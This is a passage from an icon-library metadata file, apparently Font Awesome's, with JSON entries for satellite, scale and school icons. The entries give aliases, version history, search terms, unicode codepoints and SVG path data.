1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"
      }
    },
    "free": ["brands"]
  },
  "satellite": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6f0"],
        "secondary": ["10f7bf"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.1",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["communications", "hardware", "orbit", "satellite", "space"]
    },
    "styles": ["solid"],
    "unicode": "f7bf",
    "label": "Satellite",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233 7c-9.4-9.4-24.6-9.4-33.9 0l-96 96c-9.4 9.4-9.4 24.6 0 33.9l89.4 89.4-15.5 15.5C152.3 230.4 124.9 224 96 224c-31.7 0-61.5 7.7-87.8 21.2c-9 4.7-10.3 16.7-3.1 23.8L112.7 376.7 96.3 393.1c-2.6-.7-5.4-1.1-8.3-1.1c-17.7 0-32 14.3-32 32s14.3 32 32 32s32-14.3 32-32c0-2.9-.4-5.6-1.1-8.3l16.4-16.4L242.9 506.9c7.2 7.2 19.2 5.9 23.8-3.1C280.3 477.5 288 447.7 288 416c0-28.9-6.4-56.3-17.8-80.9l15.5-15.5L375 409c9.4 9.4 24.6 9.4 33.9 0l96-96c9.4-9.4 9.4-24.6 0-33.9l-89.4-89.4 55-55c12.5-12.5 12.5-32.8 0-45.3l-48-48c-12.5-12.5-32.8-12.5-45.3 0l-55 55L233 7zm159 351l-72.4-72.4 62.1-62.1L454.1 296 392 358.1zM226.3 192.4L153.9 120 216 57.9l72.4 72.4-62.1 62.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233 7c-9.4-9.4-24.6-9.4-33.9 0l-96 96c-9.4 9.4-9.4 24.6 0 33.9l89.4 89.4-15.5 15.5C152.3 230.4 124.9 224 96 224c-31.7 0-61.5 7.7-87.8 21.2c-9 4.7-10.3 16.7-3.1 23.8L112.7 376.7 96.3 393.1c-2.6-.7-5.4-1.1-8.3-1.1c-17.7 0-32 14.3-32 32s14.3 32 32 32s32-14.3 32-32c0-2.9-.4-5.6-1.1-8.3l16.4-16.4L242.9 506.9c7.2 7.2 19.2 5.9 23.8-3.1C280.3 477.5 288 447.7 288 416c0-28.9-6.4-56.3-17.8-80.9l15.5-15.5L375 409c9.4 9.4 24.6 9.4 33.9 0l96-96c9.4-9.4 9.4-24.6 0-33.9l-89.4-89.4 55-55c12.5-12.5 12.5-32.8 0-45.3l-48-48c-12.5-12.5-32.8-12.5-45.3 0l-55 55L233 7zm159 351l-72.4-72.4 62.1-62.1L454.1 296 392 358.1zM226.3 192.4L153.9 120 216 57.9l72.4 72.4-62.1 62.1z"
      }
    },
    "free": ["solid"]
  },
  "satellite-dish": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e1"],
        "secondary": ["10f7c0"]
      }
    },
    "changes": ["5.6.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "SETI",
        "antenna",
        "communications",
        "dish",
        "hardware",
        "radar",
        "receiver",
        "satellite",
        "satellite antenna",
        "saucer",
        "signal",
        "space"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7c0",
    "label": "Satellite Dish",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 32c0-17.7 14.3-32 32-32C383.1 0 512 128.9 512 288c0 17.7-14.3 32-32 32s-32-14.3-32-32C448 164.3 347.7 64 224 64c-17.7 0-32-14.3-32-32zM60.6 220.6L164.7 324.7l28.4-28.4c-.7-2.6-1.1-5.4-1.1-8.3c0-17.7 14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32c-2.9 0-5.6-.4-8.3-1.1l-28.4 28.4L291.4 451.4c14.5 14.5 11.8 38.8-7.3 46.3C260.5 506.9 234.9 512 208 512C93.1 512 0 418.9 0 304c0-26.9 5.1-52.5 14.4-76.1c7.5-19 31.8-21.8 46.3-7.3zM224 96c106 0 192 86 192 192c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-70.7-57.3-128-128-128c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 32c0-17.7 14.3-32 32-32C383.1 0 512 128.9 512 288c0 17.7-14.3 32-32 32s-32-14.3-32-32C448 164.3 347.7 64 224 64c-17.7 0-32-14.3-32-32zM60.6 220.6L164.7 324.7l28.4-28.4c-.7-2.6-1.1-5.4-1.1-8.3c0-17.7 14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32c-2.9 0-5.6-.4-8.3-1.1l-28.4 28.4L291.4 451.4c14.5 14.5 11.8 38.8-7.3 46.3C260.5 506.9 234.9 512 208 512C93.1 512 0 418.9 0 304c0-26.9 5.1-52.5 14.4-76.1c7.5-19 31.8-21.8 46.3-7.3zM224 96c106 0 192 86 192 192c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-70.7-57.3-128-128-128c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "scale-balanced": {
    "aliases": {
      "names": ["balance-scale"],
      "unicodes": {
        "composite": ["2696"],
        "secondary": ["10f24e"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Libra",
        "balance",
        "balance scale",
        "balanced",
        "justice",
        "law",
        "legal",
        "measure",
        "rule",
        "scale",
        "weight",
        "zodiac"
      ]
    },
    "styles": ["solid"],
    "unicode": "f24e",
    "label": "Scale Balanced",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H398.4c-5.2 25.8-22.9 47.1-46.4 57.3V448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-23.5-10.3-41.2-31.6-46.4-57.3H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c14.6-19.4 37.8-32 64-32s49.4 12.6 64 32zm55.6 288H584.4L512 195.8 439.6 320zM512 416c-62.9 0-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C627.2 382 574.9 416 512 416zM126.8 195.8L54.4 320H199.3L126.8 195.8zM.9 337.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C242 382 189.7 416 126.8 416S11.7 382 .9 337.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M384 32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H398.4c-5.2 25.8-22.9 47.1-46.4 57.3V448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-23.5-10.3-41.2-31.6-46.4-57.3H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c14.6-19.4 37.8-32 64-32s49.4 12.6 64 32zm55.6 288H584.4L512 195.8 439.6 320zM512 416c-62.9 0-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C627.2 382 574.9 416 512 416zM126.8 195.8L54.4 320H199.3L126.8 195.8zM.9 337.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C242 382 189.7 416 126.8 416S11.7 382 .9 337.1z"
      }
    },
    "free": ["solid"]
  },
  "scale-unbalanced": {
    "aliases": {
      "names": ["balance-scale-left"],
      "unicodes": {
        "secondary": ["10f515"]
      }
    },
    "changes": [
      "5.0.13",
      "5.9.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["justice", "legal", "measure", "unbalanced", "weight"]
    },
    "styles": ["solid"],
    "unicode": "f515",
    "label": "Scale Unbalanced",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M522.1 62.4c16.8-5.6 25.8-23.7 20.2-40.5S518.6-3.9 501.9 1.6l-113 37.7C375 15.8 349.3 0 320 0c-44.2 0-80 35.8-80 80c0 3 .2 5.9 .5 8.8L117.9 129.6c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l135.5-45.2c4.5 3.2 9.3 5.9 14.4 8.2V480c0 17.7 14.3 32 32 32H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V153.3c21-9.2 37.2-27 44.2-49l125.9-42zM439.6 288L512 163.8 584.4 288H439.6zM512 384c62.9 0 115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L536.1 109.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L392.7 273.1c-5.7 9.8-9.3 21.1-6.7 32.1C396.8 350 449.1 384 512 384zM129.2 291.8L201.6 416H56.7l72.4-124.2zM3.2 433.1C14 478 66.3 512 129.2 512s115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L153.2 237.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L9.9 401.1c-5.7 9.8-9.3 21.1-6.7 32.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M522.1 62.4c16.8-5.6 25.8-23.7 20.2-40.5S518.6-3.9 501.9 1.6l-113 37.7C375 15.8 349.3 0 320 0c-44.2 0-80 35.8-80 80c0 3 .2 5.9 .5 8.8L117.9 129.6c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l135.5-45.2c4.5 3.2 9.3 5.9 14.4 8.2V480c0 17.7 14.3 32 32 32H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V153.3c21-9.2 37.2-27 44.2-49l125.9-42zM439.6 288L512 163.8 584.4 288H439.6zM512 384c62.9 0 115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L536.1 109.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L392.7 273.1c-5.7 9.8-9.3 21.1-6.7 32.1C396.8 350 449.1 384 512 384zM129.2 291.8L201.6 416H56.7l72.4-124.2zM3.2 433.1C14 478 66.3 512 129.2 512s115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L153.2 237.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L9.9 401.1c-5.7 9.8-9.3 21.1-6.7 32.1z"
      }
    },
    "free": ["solid"]
  },
  "scale-unbalanced-flip": {
    "aliases": {
      "names": ["balance-scale-right"],
      "unicodes": {
        "secondary": ["10f516"]
      }
    },
    "changes": [
      "5.0.13",
      "5.9.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["justice", "legal", "measure", "unbalanced", "weight"]
    },
    "styles": ["solid"],
    "unicode": "f516",
    "label": "Scale Unbalanced Flip",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M117.9 62.4c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l113 37.7C265 15.8 290.7 0 320 0c44.2 0 80 35.8 80 80c0 3-.2 5.9-.5 8.8l122.6 40.9c16.8 5.6 25.8 23.7 20.2 40.5s-23.7 25.8-40.5 20.2L366.4 145.2c-4.5 3.2-9.3 5.9-14.4 8.2V480c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-21-9.2-37.2-27-44.2-49l-125.9-42zM200.4 288L128 163.8 55.6 288H200.4zM128 384C65.1 384 12.8 350 2 305.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C243.2 350 190.9 384 128 384zm382.8-92.2L438.4 416H583.3L510.8 291.8zm126 141.3C626 478 573.7 512 510.8 512s-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M117.9 62.4c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l113 37.7C265 15.8 290.7 0 320 0c44.2 0 80 35.8 80 80c0 3-.2 5.9-.5 8.8l122.6 40.9c16.8 5.6 25.8 23.7 20.2 40.5s-23.7 25.8-40.5 20.2L366.4 145.2c-4.5 3.2-9.3 5.9-14.4 8.2V480c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-21-9.2-37.2-27-44.2-49l-125.9-42zM200.4 288L128 163.8 55.6 288H200.4zM128 384C65.1 384 12.8 350 2 305.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C243.2 350 190.9 384 128 384zm382.8-92.2L438.4 416H583.3L510.8 291.8zm126 141.3C626 478 573.7 512 510.8 512s-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1z"
      }
    },
    "free": ["solid"]
  },
  "schlix": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ea",
    "label": "SCHLIX",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"
      }
    },
    "free": ["brands"]
  },
  "school": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3eb"],
        "secondary": ["10f549"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "education",
        "learn",
        "school",
        "student",
        "teacher"
      ]
    },
    "styles": ["solid"],
    "unicode": "f549",
    "label": "School",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM256 416c0-35.3 28.7-64 64-64s64 28.7 64 64v96H256V416zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V208zM96 320h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V336zM232 176a88 88 0 1 1 176 0 88 88 0 1 1 -176 0zm88-48c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM256 416c0-35.3 28.7-64 64-64s64 28.7 64 64v96H256V416zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V208zM96 320h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V336zM232 176a88 88 0 1 1 176 0 88 88 0 1 1 -176 0zm88-48c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "school-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["not affected", "ok", "okay", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56b",
    "label": "School Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-99.3-43.3c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-99.3-43.3c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7z"
      }
    },
    "free": ["solid"]
  },
  "school-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56c",
    "label": "School Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "school-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56d",
    "label": "School Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 